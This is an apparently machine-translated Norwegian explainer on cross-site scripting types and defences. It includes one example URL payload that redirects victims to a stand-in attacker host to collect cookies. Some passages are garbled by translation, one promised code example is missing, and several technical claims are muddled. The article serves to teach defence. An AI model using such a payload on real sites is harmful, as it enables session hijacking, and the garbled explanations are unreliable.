Hvordan hackere bruker scripting på tvers av nettsteder for å bryte nettsteder og stjele data

Cross-site scripting eller XSS kan være et kraftig og raskt angrep. Som utvikler kan du til og med ta det for en feil i koden din og ende opp med å lete etter feil som ikke er der.

Som klient som bruker det sårbare nettstedet, kan du også uskyldig røpe viktig informasjon om din autentiseringstilgang til angriperen.

Så hva er skript på tvers av nettsteder? Hvordan kan hackere bruke den til å bryte seg inn på et nettsted og stjele dataene dine? Og hvordan kan du redusere en slik risiko?

Hva er skripting på tvers av nettsteder?

Skripter på tvers av nettsteder eller XSS skjer hvis skript fra et ondsinnet nettsted samhandler med kode på en sårbar.

Men servere er koblet på en måte som hindrer folk uten autentisering i å få tilgang til og redigere nettstedets kildekode.

Internett bruker SOP (Same Origin Policy) for å blokkere interaksjoner på tvers av nettsteder. Imidlertid sjekker SOP tre store sikkerhetshull og prøver å dempe dem. De er:

• Retningslinjer for internettprotokoll som sjekker om begge nettsteder leverer innhold på sikker SSL (HTTPS) eller en usikker URL (HTTP).
instagram viewer
• Den samme policyen for webhotell, som sikrer at du er vert for begge nettsteder på samme domene.
• Havnepolitikken som sjekker om begge nettsteder bruker lignende kommunikasjonsendepunkter.

SOP hevder at hvis noen av disse retningslinjene er forskjellige for to nettsteder, kan de ikke lese eller utveksle data over nettet.

Men JavaScript er et manipulerende språk som bestemmer nettstedets respons. Mens JavaScript på nettstedet ditt er mest sannsynlig i en egen fil, kan du også opprette en skriptekode og skrive den inn i Document Object Model (DOM).

Så en XSS-angriper kan tenke: "Hvis du kan skrive JavaScript i en DOM, kan du til slutt utføre den i hvilken som helst kodeditor eller inntastingsfelt som godtar HTML-koder. "

Slik sårbarhet og sjanse er det en angriper som bruker XSS, ser etter på et målnettsted. Når de har funnet et slikt smutthull, kan de omgå SOP.

I slekt: The Ultimate JavaScript Cheat Sheet

XSS er derfor et angrep som kaprere bruker for å injisere et skript som utfører ondsinnet handling på et sårbart nettsted. Skriptet kan målrette mot ubeskyttede skjemaer eller inndatafelt som godtar data.

Hvordan cross-site scripting fungerer og typer, med eksempler

XSS kan være en rask utførelse av et reflektert eller midlertidig skript som en angriper plasserer i skjemaer som søkefelt. Det kan også være en gnagende eller en vedvarende injisert i databasen. Eller det kan komme passivt etter en sideinnlasting.

I noen tilfeller kan dette skriptet også endre offerets opprinnelige innspill for å avlede intensjonen. En vedvarende endring i brukerens innganger som dette er en muterende XSS.

Uansett hvilken form det kommer, er målet med et XSS-angrep å stjele et offers data gjennom eksponerte informasjonskapsler og logger.

La oss se på en kort forklaring av hver av disse XSS-angrepstypene og deres eksempler for å forstå hva de er.

Hva er en reflektert XSS?

En reflektert eller midlertidig XSS er en direkte injeksjon av JavaScript i brukerens inndatafelt. Den retter seg mot forespørsler som får data fra databasen, som søkeresultater. Men det er et angrep fra én klient.

Under en reflektert XSS setter en angriper inn et skript i søkeordet til et måloffer. Slikt JavaScript kan være et ekko, en viderekobling eller en informasjonskapselinnsamler.

Skriptet injisert i søkeinntastingsfeltet blir deretter utført så snart en målklient sender inn spørringen.

For eksempel, under en brukers søk, kan en angriper sette inn et JavaScript som ekko et skjema, og be om at offeret skriver inn passordet eller brukernavnet. Når brukeren har gjort dette, kan de ende opp med å sende legitimasjonen sin uvitende til en angriper, og tro at det er en forespørsel fra det opprinnelige nettstedet.

Noen ganger kan angriperen også bruke et skript for å omdirigere en bruker fra den sårbare siden til siden deres. Der på angriperens side kan en intetanende bruker bli lurt til å sende inn noen få skjemaer, noe som fører til legitimasjonslekkasje.

På samme måte, hvis målet er å stjele en brukers økt, injiserer angriperen et informasjonssamlingsskript i brukerens søkeord. De kaprer deretter brukerens nåværende økt, stjeler relevant informasjon og overtar offerets aktiviteter.

Eksemplet på XSS-angrep nedenfor stjeler en brukers informasjonskapsel via en GET-forespørsel:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

I eksemplet XSS ovenfor finner angriperen et smutthull på det sårbare nettstedet. Så når en bruker søker etter en utilgjengelig ressurs på det sårbare nettstedet, omdirigerer den dem til angriperens side. Angriperen banker deretter på den nåværende brukerens informasjonskapsel og griper økten sin.

Imidlertid er dette sikkerhetsproblemet vanlig når et områdes spørringshandling ikke blir filtrert for å sjekke skriptinjeksjoner gjennom HTML.

Men selv om det er et filtrert spørsmål, kan en angriper omgå dette ved å ty til desperate tiltak som å sende lenker til mulige sanntidsbrukere av et nettsted. De kan gjøre dette ved hjelp av hvilken som helst form for sosial ingeniørfag tilgjengelig for dem.

I slekt: Hva du skal gjøre etter å ha falt for et phishing-angrep

Når ofre klikker på en slik lenke, kan kapreren nå utføre XSS-angrepet og stjele relevante data fra offeret.

Det vedvarende eller lagrede skriptet på tvers av nettsteder

Den lagrede XSS utgjør flere trusler. I dette tilfellet lagrer en angriper skriptet i en websides database, og utløser en vedvarende kjøring av det lagrede skriptet. Den lagrede koden kan kjøres ved sideinnlasting eller etter sideinnlasting.

I motsetning til den midlertidige formen for XSS, retter en lagret XSS seg mot hele brukerbasen til det sårbare nettstedet. I tillegg til det målretter den også integriteten til det berørte nettstedet.

Under en vedvarende XSS bruker en angriper inndatafelt som kommentarskjemaer til å legge ut skriptet i en websides database.

Men hva om du beskytter POST-felt med CSRF-tokens? Dessverre omgår lagret skripting på tvers av nettstedet CSRF-sjekker.

Det er fordi angriperen sender inn et skjema som alle andre brukere av nettstedet. Så et slikt kommentarskjema sender skriptet til databasen som det gjør alle andre kommentarer.

Et slikt angrep kan skje når inndatafelt på et nettsted ikke bruker riktig desinfiseringsmiddel for å unnslippe skript og HTML-koder.

Tenk deg at en bruker legger ut skriptet nedenfor ved hjelp av et skjema for webkommentarer:

Når en angriper setter inn en kode som den i en websides database, fortsetter den å omdirigere et offer til angriperens nettside på sideinnlasting. Skriptet kan også være et varsel, en interaktiv modalboks eller en innebygd ondsinnet annonse.

Fordi skriptet viderekobler sideinnlasting, kan et offer som ikke er kjent med det sårbare nettstedet, mislykkes i å merke omdirigering.

De fortsetter deretter å samhandle med angriperens nettsted. Men kapreren kan da bruke flere midler for å få informasjon fra ofrene når de er på deres webside.

Hva er en DOM eller passiv XSS?

En DOM-basert XSS utfører en ondsinnet kode innebygd på nettstedet, og tvinger hele DOM på klientsiden til å oppføre seg uvanlig.

Mens lagret og reflektert XSS retter seg mot forespørsler på serversiden på et nettsted, retter en DOM XSS seg mot kjøretidsaktiviteter. Det fungerer ved å sette inn et skript i komponentene til et nettsted som utfører en bestemt oppgave. Denne komponenten utfører ikke en handling på serversiden.

Imidlertid endrer skriptet som er satt inn i en slik komponent intensjonen sin fullstendig. Hvis denne komponenten utfører en DOM-relatert oppgave, for eksempel de som endrer elementene på et nettsted, kan skriptet tvinge hele nettsiden til å endres.

I verre tilfeller kan en DOM-basert XSS etterligne en feil. Det er fordi nettsiden blir uvanlig reaktiv.

Hvordan forhindre skriptangrep på tvers av nettsteder

Et XSS-sårbarhet kommer fra feil bruk av beste backend-praksis. Så å forhindre et skriptangrep på tvers av nettsteder er vanligvis utviklerens ansvar. Men brukere har også en rolle å spille.

Å bruke et CSFR-token for inndatafelt virker ikke som en løsning på XSS-angrep. Og siden dette angrepet også omgår samme opprinnelsespolicy, må utviklere være forsiktige med å utelate sikkerhetspraksis som forhindrer XSS.

Følgende forebyggende tiltak er nyttige for utviklere.

Sanitiser inngangsfelt

For å forhindre både lagret og midlertidig XSS, bør du bruke effektive desinfiseringsmidler for inndatafelt. Sanitering av søk, for eksempel, forhindrer at koder injiseres i brukernes søkeord.

Bruk Unicode og HTML Auto Escape

Det er nyttig å bruke HTML og Unicode automatisk flukt for å forhindre at inntastingsfelt som kommentar- og konverteringsskjemaer godtar skript og HTML-koder. Auto escape er et kraftig forebyggende tiltak mot lagret eller vedvarende XSS.

Å tillate brukere å sette inn tagger i kommentarskjemaer er en dårlig ide for ethvert nettsted. Det er et sikkerhetsbrudd. Men hvis du må tillate det, bør du bare godta koder som ikke utgjør XSS-trusler.

Bruk riktig inngangsvalidering

Selv om du blokkerer koder helt, kan en angriper fremdeles utføre et XSS-angrep på sosiale måter. De kan sende e-post i stedet for å plassere noe direkte på det sårbare nettstedet.

Så en annen metode for å forhindre det er å validere innganger effektivt. Slike tiltak inkluderer validering av protokoller og å sikre at nettstedet ditt bare godtar innspill fra sikker HTTPS og ikke HTTP.

Å bruke dedikerte JavaScript-biblioteker som dompurify kan også bidra til å blokkere XSS-relaterte sikkerhetsbrudd.

Du kan bruke verktøy som XSS-skanner eller GEEKFLARE for å se etter XSS-sårbarheter på nettstedet ditt.

Hvordan brukere kan forhindre XSS

Det er millioner av nettsteder på internett i dag. Så du kan knapt fortelle hvilken som har XSS-sikkerhetsproblemer.

Som bruker bør du imidlertid sørge for at du er kjent med hvilken som helst nettjeneste før du bruker den. Hvis en webside plutselig blir skummel eller begynner å oppføre seg uvanlig, kan dette være et rødt flagg.

Uansett hva som er tilfelle, vær forsiktig så du ikke utleverer personopplysninger til en ikke-klarert tredjepart. Så vær på utkikk etter uønskede e-poster eller mistenkelige innlegg på sosiale medier som kan resultere i noen form for phishing-angrep.

Ingen enkelt forebyggende metode passer alle

Vi har sett hvordan et XSS-angrep ser ut og hvordan vi kan forhindre det. Det er lett å glemme XSS sikkerhetskontroller under utvikling. Så utviklere bør ta skritt for å sikre at beskyttelse ikke utelates. Imidlertid fungerer en kombinasjon av de forebyggende tiltakene vi listet opp tidligere bedre.

Hva er CSRF-angrep og hvordan kan du forhindre dem?

For å hindre at du mister penger og legitimasjon i CSRF-angrep, har både utviklere og brukere en rolle å spille.

Om forfatteren